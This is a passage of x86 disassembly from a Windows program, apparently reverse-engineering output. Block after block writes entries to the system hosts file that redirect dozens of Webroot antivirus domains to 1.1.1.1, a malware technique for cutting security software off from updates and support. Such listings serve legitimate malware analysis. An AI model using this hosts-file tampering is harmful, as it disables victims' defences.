lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403aff
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403af5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403b4a
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403b5a
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403b50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403b50
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_mail.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x32
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403bd1
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403bc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403c1c
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403c2c
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403c22
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_dnsptest.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x34
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403ca3
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403cee
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403cfe
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403cf4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403cf4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_bounce2.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x36
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x36
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403d75
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403dc0
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403dd0
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403dc6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403dc6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_provisioningdev1.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x38
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403e47
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403e92
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403ea2
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403e98
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_nl.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x3a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x3a
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403f19
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f64
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x403f74
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403f6a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_mobiletest.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x3c
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x403feb
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fe1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404036
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404046
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40403c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40403c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_nl.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x3e
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x3e
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4040bd
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404108
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404118
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40410e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40410e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_es.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x40
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40418f
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404185
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4041da
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4041ea
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4041e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4041e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_sip.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x42
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404261
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404257
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042ac
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4042bc
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4042b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_contentr.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x44
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404333
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404329
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40437e
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x40438e
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404384
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404384
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_childsafe.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x46
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x46
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404405
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4043fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404450
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404460
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404456
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404456
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_spyware.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x48
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4044d7
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4044cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404522
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404532
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404528
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404528
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_testvpn.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x4a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4045a9
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40459f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4045f4
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404604
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4045fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4045fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_de.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x4c
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40467b
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404671
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4046c6
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4046d6
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4046cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4046cc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_au.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x4e
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40474d
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404743
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404798
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4047a8
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40479e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40479e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_fr.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x50
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x50
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x40481f
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404815
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40486a
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x40487a
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404870
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404870
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_support_it.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x52
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x52
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4048f1
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4048e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40493c
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x40494c
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404942
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404942
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_extranet.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x54
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x54
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4049c3
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4049b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404a0e
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404a1e
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a14
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404a14
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_sso_tst.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x56
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x56
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404a95
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a8b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ae0
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404af0
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ae6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404ae6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_uk.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x58
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x58
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404b67
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404b5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404bb2
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404bc2
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404bb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404bb8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_bb.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x5a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x5a
mov ecx, dword [ebp - 0x790]
